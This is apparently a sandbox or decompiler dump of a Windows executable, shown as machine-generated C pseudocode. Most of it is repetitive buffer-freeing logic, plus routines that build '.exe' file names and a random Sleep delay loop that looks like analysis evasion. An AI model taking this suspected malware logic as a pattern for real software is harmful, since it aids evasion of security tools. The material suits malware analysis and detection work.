                                                          																										_t1765 =  &(_t1760->nLength);
                                                          																										_t1238 = _t1611;
                                                          																										__eflags = _t1765 - 0x1000;
                                                          																										if(_t1765 < 0x1000) {
                                                          																											L200:
                                                          																											_push(_t1765);
                                                          																											E0040EDFF(_t1611);
                                                          																											_t1856 = _t1856 + 8;
                                                          																											goto L201;
                                                          																										} else {
                                                          																											_t1470 =  *((intOrPtr*)(_t1611 - 4));
                                                          																											_t1680 = _t1765 + 0x23;
                                                          																											__eflags = _t1238 -  *((intOrPtr*)(_t1611 - 4)) + 0xfffffffc - 0x1f;
                                                          																											if(__eflags > 0) {
                                                          																												goto L346;
                                                          																											} else {
                                                          																												goto L200;
                                                          																											}
                                                          																										}
                                                          																									}
                                                          																								} else {
                                                          																									_t1612 = _v488;
                                                          																									_t1766 = _t1759 + 1;
                                                          																									_t1242 = _t1612;
                                                          																									__eflags = _t1766 - 0x1000;
                                                          																									if(_t1766 < 0x1000) {
                                                          																										L196:
                                                          																										_push(_t1766);
                                                          																										E0040EDFF(_t1612);
                                                          																										_t1856 = _t1856 + 8;
                                                          																										goto L197;
                                                          																									} else {
                                                          																										_t1470 =  *((intOrPtr*)(_t1612 - 4));
                                                          																										_t1680 = _t1766 + 0x23;
                                                          																										__eflags = _t1242 -  *((intOrPtr*)(_t1612 - 4)) + 0xfffffffc - 0x1f;
                                                          																										if(__eflags > 0) {
                                                          																											goto L346;
                                                          																										} else {
                                                          																											goto L196;
                                                          																										}
                                                          																									}
                                                          																								}
                                                          																							}
                                                          																						} else {
                                                          																							_t1613 = _v464;
                                                          																							_t1753 =  &(_t1753->nLength);
                                                          																							_t1248 = _t1613;
                                                          																							__eflags = _t1753 - 0x1000;
                                                          																							if(_t1753 < 0x1000) {
                                                          																								L186:
                                                          																								_push(_t1753);
                                                          																								E0040EDFF(_t1613);
                                                          																								_t1856 = _t1856 + 8;
                                                          																								goto L187;
                                                          																							} else {
                                                          																								_t1470 =  *((intOrPtr*)(_t1613 - 4));
                                                          																								_t1680 = _t1753 + 0x23;
                                                          																								__eflags = _t1248 -  *((intOrPtr*)(_t1613 - 4)) + 0xfffffffc - 0x1f;
                                                          																								if(__eflags > 0) {
                                                          																									goto L346;
                                                          																								} else {
                                                          																									goto L186;
                                                          																								}
                                                          																							}
                                                          																						}
                                                          																					} else {
                                                          																						_t1614 = _v440;
                                                          																						_t1767 =  &(_t1752->nLength);
                                                          																						_t1252 = _t1614;
                                                          																						__eflags = _t1767 - 0x1000;
                                                          																						if(_t1767 < 0x1000) {
                                                          																							L182:
                                                          																							_push(_t1767);
                                                          																							E0040EDFF(_t1614);
                                                          																							_t1856 = _t1856 + 8;
                                                          																							goto L183;
                                                          																						} else {
                                                          																							_t1470 =  *((intOrPtr*)(_t1614 - 4));
                                                          																							_t1680 = _t1767 + 0x23;
                                                          																							__eflags = _t1252 -  *((intOrPtr*)(_t1614 - 4)) + 0xfffffffc - 0x1f;
                                                          																							if(__eflags > 0) {
                                                          																								goto L346;
                                                          																							} else {
                                                          																								goto L182;
                                                          																							}
                                                          																						}
                                                          																					}
                                                          																				} else {
                                                          																					_t1615 = _v488;
                                                          																					_t1768 = _t1751 + 1;
                                                          																					_t1256 = _t1615;
                                                          																					__eflags = _t1768 - 0x1000;
                                                          																					if(_t1768 < 0x1000) {
                                                          																						L178:
                                                          																						_push(_t1768);
                                                          																						E0040EDFF(_t1615);
                                                          																						_t1856 = _t1856 + 8;
                                                          																						goto L179;
                                                          																					} else {
                                                          																						_t1470 =  *((intOrPtr*)(_t1615 - 4));
                                                          																						_t1680 = _t1768 + 0x23;
                                                          																						__eflags = _t1256 -  *((intOrPtr*)(_t1615 - 4)) + 0xfffffffc - 0x1f;
                                                          																						if(__eflags > 0) {
                                                          																							goto L346;
                                                          																						} else {
                                                          																							goto L178;
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																			} else {
                                                          																				_push(_t1593);
                                                          																				_t1268 = E0040C770( &_v440,  &_v408);
                                                          																				_v28 = 0xf;
                                                          																				_t1269 = E0040C990( &_v488, _t1268,  &_v360);
                                                          																				_t1856 = _t1895 + 8;
                                                          																				_t1620 = _t1269;
                                                          																				_v28 = 0x10;
                                                          																				_t1810 =  *(_t1620 + 0x14);
                                                          																				_t1771 =  *(_t1620 + 0x10);
                                                          																				__eflags = _t1810 - _t1771 - 4;
                                                          																				if(_t1810 - _t1771 < 4) {
                                                          																					_v412 = 0;
                                                          																					_t1620 = E00402980(_t1412, _t1620, _t1810, _t1817, 4, _v412, ".exe", 4);
                                                          																				} else {
                                                          																					 *(_t1620 + 0x10) =  &(_t1771->lpSecurityDescriptor);
                                                          																					_t1289 = _t1620;
                                                          																					__eflags = _t1810 - 0x10;
                                                          																					if(_t1810 >= 0x10) {
                                                          																						_t1289 =  *_t1620;
                                                          																					}
                                                          																					 *((intOrPtr*)(_t1289 + _t1771)) = 0x6578652e;
                                                          																					 *((char*)(_t1289 +  &(_t1771->lpSecurityDescriptor))) = 0;
                                                          																				}
                                                          																				 *_t1817 = 0;
                                                          																				 *(_t1817 + 0x10) = 0;
                                                          																				 *(_t1817 + 0x14) = 0;
                                                          																				asm("movups xmm0, [ecx]");
                                                          																				asm("movups [esi], xmm0");
                                                          																				asm("movq xmm0, [ecx+0x10]");
                                                          																				asm("movq [esi+0x10], xmm0");
                                                          																				 *(_t1620 + 0x10) = 0;
                                                          																				 *(_t1620 + 0x14) = 0xf;
                                                          																				 *_t1620 = 0;
                                                          																				_t1772 = _v468;
                                                          																				__eflags = _t1772 - 0x10;
                                                          																				if(_t1772 < 0x10) {
                                                          																					L153:
                                                          																					_t1773 = _v420;
                                                          																					_v472 = 0;
                                                          																					_v468 = 0xf;
                                                          																					_v488 = 0;
                                                          																					__eflags = _t1773 - 0x10;
                                                          																					if(_t1773 < 0x10) {
                                                          																						L157:
                                                          																						_t1774 = _v340;
                                                          																						_v424 = 0;
                                                          																						_v420 = 0xf;
                                                          																						_v440 = 0;
                                                          																						__eflags = _t1774 - 0x10;
                                                          																						if(_t1774 < 0x10) {
                                                          																							L161:
                                                          																							_t1775 = _v364;
                                                          																							_v344 = 0;
                                                          																							_v340 = 0xf;
                                                          																							_v360 = 0;
                                                          																							__eflags = _t1775 - 0x10;
                                                          																							if(_t1775 < 0x10) {
                                                          																								goto L71;
                                                          																							} else {
                                                          																								_t1609 = _v384;
                                                          																								_t1763 = _t1775 + 1;
                                                          																								_t1273 = _t1609;
                                                          																								__eflags = _t1763 - 0x1000;
                                                          																								if(_t1763 < 0x1000) {
                                                          																									goto L70;
                                                          																								} else {
                                                          																									_t1470 =  *((intOrPtr*)(_t1609 - 4));
                                                          																									_t1680 = _t1763 + 0x23;
                                                          																									__eflags = _t1273 -  *((intOrPtr*)(_t1609 - 4)) + 0xfffffffc - 0x1f;
                                                          																									if(__eflags > 0) {
                                                          																										goto L346;
                                                          																									} else {
                                                          																										goto L70;
                                                          																									}
                                                          																								}
                                                          																							}
                                                          																						} else {
                                                          																							_t1621 = _v360;
                                                          																							_t1776 = _t1774 + 1;
                                                          																							_t1276 = _t1621;
                                                          																							__eflags = _t1776 - 0x1000;
                                                          																							if(_t1776 < 0x1000) {
                                                          																								L160:
                                                          																								_push(_t1776);
                                                          																								E0040EDFF(_t1621);
                                                          																								_t1856 = _t1856 + 8;
                                                          																								goto L161;
                                                          																							} else {
                                                          																								_t1470 =  *((intOrPtr*)(_t1621 - 4));
                                                          																								_t1680 = _t1776 + 0x23;
                                                          																								__eflags = _t1276 -  *((intOrPtr*)(_t1621 - 4)) + 0xfffffffc - 0x1f;
                                                          																								if(__eflags > 0) {
                                                          																									goto L346;
                                                          																								} else {
                                                          																									goto L160;
                                                          																								}
                                                          																							}
                                                          																						}
                                                          																					} else {
                                                          																						_t1622 = _v440;
                                                          																						_t1777 =  &(_t1773->nLength);
                                                          																						_t1280 = _t1622;
                                                          																						__eflags = _t1777 - 0x1000;
                                                          																						if(_t1777 < 0x1000) {
                                                          																							L156:
                                                          																							_push(_t1777);
                                                          																							E0040EDFF(_t1622);
                                                          																							_t1856 = _t1856 + 8;
                                                          																							goto L157;
                                                          																						} else {
                                                          																							_t1470 =  *((intOrPtr*)(_t1622 - 4));
                                                          																							_t1680 = _t1777 + 0x23;
                                                          																							__eflags = _t1280 -  *((intOrPtr*)(_t1622 - 4)) + 0xfffffffc - 0x1f;
                                                          																							if(__eflags > 0) {
                                                          																								goto L346;
                                                          																							} else {
                                                          																								goto L156;
                                                          																							}
                                                          																						}
                                                          																					}
                                                          																				} else {
                                                          																					_t1623 = _v488;
                                                          																					_t1778 = _t1772 + 1;
                                                          																					_t1284 = _t1623;
                                                          																					__eflags = _t1778 - 0x1000;
                                                          																					if(_t1778 < 0x1000) {
                                                          																						L152:
                                                          																						_push(_t1778);
                                                          																						E0040EDFF(_t1623);
                                                          																						_t1856 = _t1856 + 8;
                                                          																						goto L153;
                                                          																					} else {
                                                          																						_t1470 =  *((intOrPtr*)(_t1623 - 4));
                                                          																						_t1680 = _t1778 + 0x23;
                                                          																						__eflags = _t1284 -  *((intOrPtr*)(_t1623 - 4)) + 0xfffffffc - 0x1f;
                                                          																						if(__eflags > 0) {
                                                          																							goto L346;
                                                          																						} else {
                                                          																							goto L152;
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																			}
                                                          																		} else {
                                                          																			_t1624 = _v464;
                                                          																			_t1747 =  &(_t1747->nLength);
                                                          																			_t1290 = _t1624;
                                                          																			__eflags = _t1747 - 0x1000;
                                                          																			if(_t1747 < 0x1000) {
                                                          																				L142:
                                                          																				_push(_t1747);
                                                          																				E0040EDFF(_t1624);
                                                          																				_t1856 = _t1856 + 8;
                                                          																				goto L143;
                                                          																			} else {
                                                          																				_t1470 =  *((intOrPtr*)(_t1624 - 4));
                                                          																				_t1680 = _t1747 + 0x23;
                                                          																				__eflags = _t1290 -  *((intOrPtr*)(_t1624 - 4)) + 0xfffffffc - 0x1f;
                                                          																				if(__eflags > 0) {
                                                          																					goto L346;
                                                          																				} else {
                                                          																					goto L142;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																	} else {
                                                          																		_t1625 = _v440;
                                                          																		_t1779 =  &(_t1746->nLength);
                                                          																		_t1294 = _t1625;
                                                          																		__eflags = _t1779 - 0x1000;
                                                          																		if(_t1779 < 0x1000) {
                                                          																			L138:
                                                          																			_push(_t1779);
                                                          																			E0040EDFF(_t1625);
                                                          																			_t1856 = _t1856 + 8;
                                                          																			goto L139;
                                                          																		} else {
                                                          																			_t1470 =  *((intOrPtr*)(_t1625 - 4));
                                                          																			_t1680 = _t1779 + 0x23;
                                                          																			__eflags = _t1294 -  *((intOrPtr*)(_t1625 - 4)) + 0xfffffffc - 0x1f;
                                                          																			if(__eflags > 0) {
                                                          																				goto L346;
                                                          																			} else {
                                                          																				goto L138;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																} else {
                                                          																	_t1626 = _v488;
                                                          																	_t1780 = _t1745 + 1;
                                                          																	_t1298 = _t1626;
                                                          																	__eflags = _t1780 - 0x1000;
                                                          																	if(_t1780 < 0x1000) {
                                                          																		L134:
                                                          																		_push(_t1780);
                                                          																		E0040EDFF(_t1626);
                                                          																		_t1856 = _t1856 + 8;
                                                          																		goto L135;
                                                          																	} else {
                                                          																		_t1470 =  *((intOrPtr*)(_t1626 - 4));
                                                          																		_t1680 = _t1780 + 0x23;
                                                          																		__eflags = _t1298 -  *((intOrPtr*)(_t1626 - 4)) + 0xfffffffc - 0x1f;
                                                          																		if(__eflags > 0) {
                                                          																			goto L346;
                                                          																		} else {
                                                          																			goto L134;
                                                          																		}
                                                          																	}
                                                          																}
                                                          															} else {
                                                          																_push(_t1584);
                                                          																_t1312 = E0040C770( &_v464,  &_v408);
                                                          																_v28 = 0xa;
                                                          																_t1313 = E0040C990( &_v440, _t1312,  &_v360);
                                                          																_t1856 = _t1892 + 8;
                                                          																_t1630 = _t1313;
                                                          																_v28 = 0xb;
                                                          																_t1810 =  *(_t1630 + 0x14);
                                                          																_t1783 =  *(_t1630 + 0x10);
                                                          																__eflags = _t1810 - _t1783 - 4;
                                                          																if(_t1810 - _t1783 < 4) {
                                                          																	_v412 = 0;
                                                          																	_t1630 = E00402980(_t1412, _t1630, _t1810, _t1817, 4, _v412, ".exe", 4);
                                                          																} else {
                                                          																	 *(_t1630 + 0x10) =  &(_t1783->lpSecurityDescriptor);
                                                          																	_t1333 = _t1630;
                                                          																	__eflags = _t1810 - 0x10;
                                                          																	if(_t1810 >= 0x10) {
                                                          																		_t1333 =  *_t1630;
                                                          																	}
                                                          																	 *((intOrPtr*)(_t1333 + _t1783)) = 0x6578652e;
                                                          																	 *((char*)(_t1333 +  &(_t1783->lpSecurityDescriptor))) = 0;
                                                          																}
                                                          																 *_t1817 = 0;
                                                          																 *(_t1817 + 0x10) = 0;
                                                          																 *(_t1817 + 0x14) = 0;
                                                          																asm("movups xmm0, [ecx]");
                                                          																asm("movups [esi], xmm0");
                                                          																asm("movq xmm0, [ecx+0x10]");
                                                          																asm("movq [esi+0x10], xmm0");
                                                          																 *(_t1630 + 0x10) = 0;
                                                          																 *(_t1630 + 0x14) = 0xf;
                                                          																 *_t1630 = 0;
                                                          																_t1784 = _v420;
                                                          																__eflags = _t1784 - 0x10;
                                                          																if(_t1784 < 0x10) {
                                                          																	L108:
                                                          																	_t1785 = _v444;
                                                          																	_v424 = 0;
                                                          																	_v420 = 0xf;
                                                          																	_v440 = 0;
                                                          																	__eflags = _t1785 - 0x10;
                                                          																	if(_t1785 < 0x10) {
                                                          																		L112:
                                                          																		_t1786 = _v340;
                                                          																		_v448 = 0;
                                                          																		_v444 = 0xf;
                                                          																		_v464 = 0;
                                                          																		__eflags = _t1786 - 0x10;
                                                          																		if(_t1786 < 0x10) {
                                                          																			L116:
                                                          																			_t1787 = _v364;
                                                          																			_v344 = 0;
                                                          																			_v340 = 0xf;
                                                          																			_v360 = 0;
                                                          																			__eflags = _t1787 - 0x10;
                                                          																			if(_t1787 < 0x10) {
                                                          																				goto L71;
                                                          																			} else {
                                                          																				_t1609 = _v384;
                                                          																				_t1763 = _t1787 + 1;
                                                          																				_t1317 = _t1609;
                                                          																				__eflags = _t1763 - 0x1000;
                                                          																				if(_t1763 < 0x1000) {
                                                          																					goto L70;
                                                          																				} else {
                                                          																					_t1470 =  *((intOrPtr*)(_t1609 - 4));
                                                          																					_t1680 = _t1763 + 0x23;
                                                          																					__eflags = _t1317 -  *((intOrPtr*)(_t1609 - 4)) + 0xfffffffc - 0x1f;
                                                          																					if(__eflags > 0) {
                                                          																						goto L346;
                                                          																					} else {
                                                          																						goto L70;
                                                          																					}
                                                          																				}
                                                          																			}
                                                          																		} else {
                                                          																			_t1631 = _v360;
                                                          																			_t1788 = _t1786 + 1;
                                                          																			_t1320 = _t1631;
                                                          																			__eflags = _t1788 - 0x1000;
                                                          																			if(_t1788 < 0x1000) {
                                                          																				L115:
                                                          																				_push(_t1788);
                                                          																				E0040EDFF(_t1631);
                                                          																				_t1856 = _t1856 + 8;
                                                          																				goto L116;
                                                          																			} else {
                                                          																				_t1470 =  *((intOrPtr*)(_t1631 - 4));
                                                          																				_t1680 = _t1788 + 0x23;
                                                          																				__eflags = _t1320 -  *((intOrPtr*)(_t1631 - 4)) + 0xfffffffc - 0x1f;
                                                          																				if(__eflags > 0) {
                                                          																					goto L346;
                                                          																				} else {
                                                          																					goto L115;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																	} else {
                                                          																		_t1632 = _v464;
                                                          																		_t1789 =  &(_t1785->nLength);
                                                          																		_t1324 = _t1632;
                                                          																		__eflags = _t1789 - 0x1000;
                                                          																		if(_t1789 < 0x1000) {
                                                          																			L111:
                                                          																			_push(_t1789);
                                                          																			E0040EDFF(_t1632);
                                                          																			_t1856 = _t1856 + 8;
                                                          																			goto L112;
                                                          																		} else {
                                                          																			_t1470 =  *((intOrPtr*)(_t1632 - 4));
                                                          																			_t1680 = _t1789 + 0x23;
                                                          																			__eflags = _t1324 -  *((intOrPtr*)(_t1632 - 4)) + 0xfffffffc - 0x1f;
                                                          																			if(__eflags > 0) {
                                                          																				goto L346;
                                                          																			} else {
                                                          																				goto L111;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																} else {
                                                          																	_t1633 = _v440;
                                                          																	_t1790 =  &(_t1784->nLength);
                                                          																	_t1328 = _t1633;
                                                          																	__eflags = _t1790 - 0x1000;
                                                          																	if(_t1790 < 0x1000) {
                                                          																		L107:
                                                          																		_push(_t1790);
                                                          																		E0040EDFF(_t1633);
                                                          																		_t1856 = _t1856 + 8;
                                                          																		goto L108;
                                                          																	} else {
                                                          																		_t1470 =  *((intOrPtr*)(_t1633 - 4));
                                                          																		_t1680 = _t1790 + 0x23;
                                                          																		__eflags = _t1328 -  *((intOrPtr*)(_t1633 - 4)) + 0xfffffffc - 0x1f;
                                                          																		if(__eflags > 0) {
                                                          																			goto L346;
                                                          																		} else {
                                                          																			goto L107;
                                                          																		}
                                                          																	}
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t1634 = _v336;
                                                          															_t1741 =  &(1[_t1741]);
                                                          															_t1334 = _t1634;
                                                          															__eflags = _t1741 - 0x1000;
                                                          															if(_t1741 < 0x1000) {
                                                          																L97:
                                                          																_push(_t1741);
                                                          																E0040EDFF(_t1634);
                                                          																_t1856 = _t1856 + 8;
                                                          																goto L98;
                                                          															} else {
                                                          																_t1470 =  *((intOrPtr*)(_t1634 - 4));
                                                          																_t1680 = _t1741 + 0x23;
                                                          																__eflags = _t1334 -  *((intOrPtr*)(_t1634 - 4)) + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	goto L347;
                                                          																} else {
                                                          																	goto L97;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t1635 = _v464;
                                                          														_t1791 =  &(_t1740->nLength);
                                                          														_t1338 = _t1635;
                                                          														__eflags = _t1791 - 0x1000;
                                                          														if(_t1791 < 0x1000) {
                                                          															L93:
                                                          															_push(_t1791);
                                                          															E0040EDFF(_t1635);
                                                          															_t1856 = _t1856 + 8;
                                                          															goto L94;
                                                          														} else {
                                                          															_t1470 =  *((intOrPtr*)(_t1635 - 4));
                                                          															_t1680 = _t1791 + 0x23;
                                                          															__eflags = _t1338 -  *((intOrPtr*)(_t1635 - 4)) + 0xfffffffc - 0x1f;
                                                          															if(__eflags > 0) {
                                                          																goto L347;
                                                          															} else {
                                                          																goto L93;
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													_t1636 = _v440;
                                                          													_t1792 =  &(_t1739->nLength);
                                                          													_t1342 = _t1636;
                                                          													__eflags = _t1792 - 0x1000;
                                                          													if(_t1792 < 0x1000) {
                                                          														L89:
                                                          														_push(_t1792);
                                                          														E0040EDFF(_t1636);
                                                          														_t1856 = _t1856 + 8;
                                                          														goto L90;
                                                          													} else {
                                                          														_t1470 =  *((intOrPtr*)(_t1636 - 4));
                                                          														_t1680 = _t1792 + 0x23;
                                                          														__eflags = _t1342 -  *((intOrPtr*)(_t1636 - 4)) + 0xfffffffc - 0x1f;
                                                          														if(__eflags > 0) {
                                                          															goto L347;
                                                          														} else {
                                                          															goto L89;
                                                          														}
                                                          													}
                                                          												}
                                                          											} else {
                                                          												_push(_t1575);
                                                          												_t1354 = E0040C770( &_v464,  &_v408);
                                                          												_v28 = 5;
                                                          												_t1355 = E0040C990( &_v440, _t1354,  &_v360);
                                                          												_t1856 = _t1889 + 8;
                                                          												_t1640 = _t1355;
                                                          												_v28 = 6;
                                                          												_t1810 =  *(_t1640 + 0x14);
                                                          												_t1795 =  *(_t1640 + 0x10);
                                                          												__eflags = _t1810 - _t1795 - 4;
                                                          												if(_t1810 - _t1795 < 4) {
                                                          													_v412 = 0;
                                                          													_t1640 = E00402980(_t1412, _t1640, _t1810, _t1817, 4, _v412, ".exe", 4);
                                                          												} else {
                                                          													 *(_t1640 + 0x10) =  &(_t1795->lpSecurityDescriptor);
                                                          													_t1375 = _t1640;
                                                          													__eflags = _t1810 - 0x10;
                                                          													if(_t1810 >= 0x10) {
                                                          														_t1375 =  *_t1640;
                                                          													}
                                                          													 *((intOrPtr*)(_t1375 + _t1795)) = 0x6578652e;
                                                          													 *((char*)(_t1375 +  &(_t1795->lpSecurityDescriptor))) = 0;
                                                          												}
                                                          												 *_t1817 = 0;
                                                          												 *(_t1817 + 0x10) = 0;
                                                          												 *(_t1817 + 0x14) = 0;
                                                          												asm("movups xmm0, [ecx]");
                                                          												asm("movups [esi], xmm0");
                                                          												asm("movq xmm0, [ecx+0x10]");
                                                          												asm("movq [esi+0x10], xmm0");
                                                          												 *(_t1640 + 0x10) = 0;
                                                          												 *(_t1640 + 0x14) = 0xf;
                                                          												 *_t1640 = 0;
                                                          												_t1796 = _v420;
                                                          												__eflags = _t1796 - 0x10;
                                                          												if(_t1796 < 0x10) {
                                                          													L59:
                                                          													_t1797 = _v444;
                                                          													_v424 = 0;
                                                          													_v420 = 0xf;
                                                          													_v440 = 0;
                                                          													__eflags = _t1797 - 0x10;
                                                          													if(_t1797 < 0x10) {
                                                          														L63:
                                                          														_t1798 = _v340;
                                                          														_v448 = 0;
                                                          														_v444 = 0xf;
                                                          														_v464 = 0;
                                                          														__eflags = _t1798 - 0x10;
                                                          														if(_t1798 < 0x10) {
                                                          															L67:
                                                          															_t1799 = _v364;
                                                          															_v344 = 0;
                                                          															_v340 = 0xf;
                                                          															_v360 = 0;
                                                          															__eflags = _t1799 - 0x10;
                                                          															if(_t1799 < 0x10) {
                                                          																L71:
                                                          																_v368 = 0;
                                                          																_v364 = 0xf;
                                                          																_v384 = 0;
                                                          																L72:
                                                          																_t1680 = _v388;
                                                          																__eflags = _t1680 - 0x10;
                                                          																if(_t1680 < 0x10) {
                                                          																	L344:
                                                          																	 *[fs:0x0] = _v36;
                                                          																	_pop(_t1811);
                                                          																	_pop(_t1818);
                                                          																	__eflags = _v44 ^ _t1830;
                                                          																	return E0040EBBF(_t1817, _t1412, _v44 ^ _t1830, _t1680, _t1811, _t1818);
                                                          																} else {
                                                          																	_t1545 = _v408;
                                                          																	_t1680 =  &(1[_t1680]);
                                                          																	_t1069 = _t1545;
                                                          																	__eflags = _t1680 - 0x1000;
                                                          																	if(_t1680 < 0x1000) {
                                                          																		L307:
                                                          																		_push(_t1680);
                                                          																		E0040EDFF(_t1545);
                                                          																		goto L344;
                                                          																	} else {
                                                          																		_t1470 =  *((intOrPtr*)(_t1545 - 4));
                                                          																		_t1680 = _t1680 + 0x23;
                                                          																		__eflags = _t1069 -  *((intOrPtr*)(_t1545 - 4)) + 0xfffffffc - 0x1f;
                                                          																		if(__eflags > 0) {
                                                          																			goto L346;
                                                          																		} else {
                                                          																			goto L307;
                                                          																		}
                                                          																	}
                                                          																}
                                                          															} else {
                                                          																_t1609 = _v384;
                                                          																_t1763 = _t1799 + 1;
                                                          																_t1359 = _t1609;
                                                          																__eflags = _t1763 - 0x1000;
                                                          																if(_t1763 < 0x1000) {
                                                          																	L70:
                                                          																	_push(_t1763);
                                                          																	E0040EDFF(_t1609);
                                                          																	_t1856 = _t1856 + 8;
                                                          																	goto L71;
                                                          																} else {
                                                          																	_t1470 =  *((intOrPtr*)(_t1609 - 4));
                                                          																	_t1680 = _t1763 + 0x23;
                                                          																	__eflags = _t1359 -  *((intOrPtr*)(_t1609 - 4)) + 0xfffffffc - 0x1f;
                                                          																	if(__eflags > 0) {
                                                          																		goto L346;
                                                          																	} else {
                                                          																		goto L70;
                                                          																	}
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t1641 = _v360;
                                                          															_t1800 = _t1798 + 1;
                                                          															_t1362 = _t1641;
                                                          															__eflags = _t1800 - 0x1000;
                                                          															if(_t1800 < 0x1000) {
                                                          																L66:
                                                          																_push(_t1800);
                                                          																E0040EDFF(_t1641);
                                                          																_t1856 = _t1856 + 8;
                                                          																goto L67;
                                                          															} else {
                                                          																_t1470 =  *((intOrPtr*)(_t1641 - 4));
                                                          																_t1680 = _t1800 + 0x23;
                                                          																__eflags = _t1362 -  *((intOrPtr*)(_t1641 - 4)) + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	goto L346;
                                                          																} else {
                                                          																	goto L66;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t1642 = _v464;
                                                          														_t1801 =  &(_t1797->nLength);
                                                          														_t1366 = _t1642;
                                                          														__eflags = _t1801 - 0x1000;
                                                          														if(_t1801 < 0x1000) {
                                                          															L62:
                                                          															_push(_t1801);
                                                          															E0040EDFF(_t1642);
                                                          															_t1856 = _t1856 + 8;
                                                          															goto L63;
                                                          														} else {
                                                          															_t1470 =  *((intOrPtr*)(_t1642 - 4));
                                                          															_t1680 = _t1801 + 0x23;
                                                          															__eflags = _t1366 -  *((intOrPtr*)(_t1642 - 4)) + 0xfffffffc - 0x1f;
                                                          															if(__eflags > 0) {
                                                          																goto L346;
                                                          															} else {
                                                          																goto L62;
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													_t1643 = _v440;
                                                          													_t1802 =  &(_t1796->nLength);
                                                          													_t1370 = _t1643;
                                                          													__eflags = _t1802 - 0x1000;
                                                          													if(_t1802 < 0x1000) {
                                                          														L58:
                                                          														_push(_t1802);
                                                          														E0040EDFF(_t1643);
                                                          														_t1856 = _t1856 + 8;
                                                          														goto L59;
                                                          													} else {
                                                          														_t1470 =  *((intOrPtr*)(_t1643 - 4));
                                                          														_t1680 = _t1802 + 0x23;
                                                          														__eflags = _t1370 -  *((intOrPtr*)(_t1643 - 4)) + 0xfffffffc - 0x1f;
                                                          														if(__eflags > 0) {
                                                          															goto L346;
                                                          														} else {
                                                          															goto L58;
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t1644 = _v488;
                                                          											_t1735 = _t1735 + 1;
                                                          											_t1376 = _t1644;
                                                          											__eflags = _t1735 - 0x1000;
                                                          											if(_t1735 < 0x1000) {
                                                          												L48:
                                                          												_push(_t1735);
                                                          												E0040EDFF(_t1644);
                                                          												_t1856 = _t1856 + 8;
                                                          												goto L49;
                                                          											} else {
                                                          												_t1470 =  *((intOrPtr*)(_t1644 - 4));
                                                          												_t1680 = _t1735 + 0x23;
                                                          												__eflags = _t1376 -  *((intOrPtr*)(_t1644 - 4)) + 0xfffffffc - 0x1f;
                                                          												if(__eflags > 0) {
                                                          													goto L345;
                                                          												} else {
                                                          													goto L48;
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_t1645 = _v440;
                                                          										_t1803 =  &(_t1734->nLength);
                                                          										_t1381 = _t1645;
                                                          										__eflags = _t1803 - 0x1000;
                                                          										if(_t1803 < 0x1000) {
                                                          											L44:
                                                          											_push(_t1803);
                                                          											E0040EDFF(_t1645);
                                                          											_t1856 = _t1856 + 8;
                                                          											goto L45;
                                                          										} else {
                                                          											_t1470 =  *((intOrPtr*)(_t1645 - 4));
                                                          											_t1680 = _t1803 + 0x23;
                                                          											__eflags = _t1381 -  *((intOrPtr*)(_t1645 - 4)) + 0xfffffffc - 0x1f;
                                                          											if(__eflags > 0) {
                                                          												L345:
                                                          												E00413527(_t1412, _t1680, __eflags);
                                                          												L346:
                                                          												E00413527(_t1412, _t1680, __eflags);
                                                          												L347:
                                                          												E00413527(_t1412, _t1680, __eflags);
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												_push(_t1830);
                                                          												_t1832 = _t1856;
                                                          												_push(0xffffffff);
                                                          												_push(0x42ca27);
                                                          												_push( *[fs:0x0]);
                                                          												_t1864 = _t1856 - 0x4dc;
                                                          												_t949 =  *0x43d054; // 0x6e36c9b5
                                                          												_t950 = _t949 ^ _t1832;
                                                          												_v628 = _t950;
                                                          												_push(_t1412);
                                                          												_push(_t1817);
                                                          												_push(_t1810);
                                                          												_push(_t950);
                                                          												 *[fs:0x0] =  &_v624;
                                                          												_v616 = 0;
                                                          												_t952 = E00405F40(_t1412, _t1810); // executed
                                                          												_t1414 = Sleep;
                                                          												__eflags = _t952;
                                                          												if(__eflags != 0) {
                                                          													_t1817 = 0x7d0;
                                                          													do {
                                                          														_t1039 = E00417DF6(_t1470, __eflags);
                                                          														asm("cdq");
                                                          														_t1680 = _t1039 % 0x7d0 + 0x3e8;
                                                          														Sleep(_t1039 % 0x7d0 + 0x3e8);
                                                          														__eflags = E00405F40(Sleep, _t1810);
                                                          													} while (__eflags != 0);
                                                          												}
                                                          												E00401960( &_v772, "1"); // executed
                                                          												_v32 = 1;
                                                          												_t956 = E00402510( &_v1164, E0040B8F0(E00409340(_t1414, _t1680, _t1810, _t1817)));
                                                          												_v32 = 2;
                                                          												_t959 = E00402510( &_v1140, E0040B800(E00409290(_t1680, _t956, _t1817)));
                                                          												_v32 = 3;
                                                          												L385();
                                                          												_t961 = E00402510( &_v1284, E0040B7D0(_t959));
                                                          												_v32 = 4;
                                                          												_t962 = E0040C930( &_v1260, 0x450e3c, _t961);
                                                          												_v32 = 5;
                                                          												_t963 = E0040C990( &_v1236, _t962,  &_v20);
                                                          												_v32 = 6;
                                                          												_t964 = E0040CA40( &_v1212, _t963, _t959);
                                                          												_v32 = 7;
                                                          												_t965 = E0040CA40( &_v1188, _t964, _t956);
                                                          												_v32 = 8;
                                                          												E0040C990( &_v116, _t965, 0x450e24);
                                                          												_t1870 = _t1864 - 0x10 + 0x14;
                                                          												E00402440(_t1414,  &_v1188);
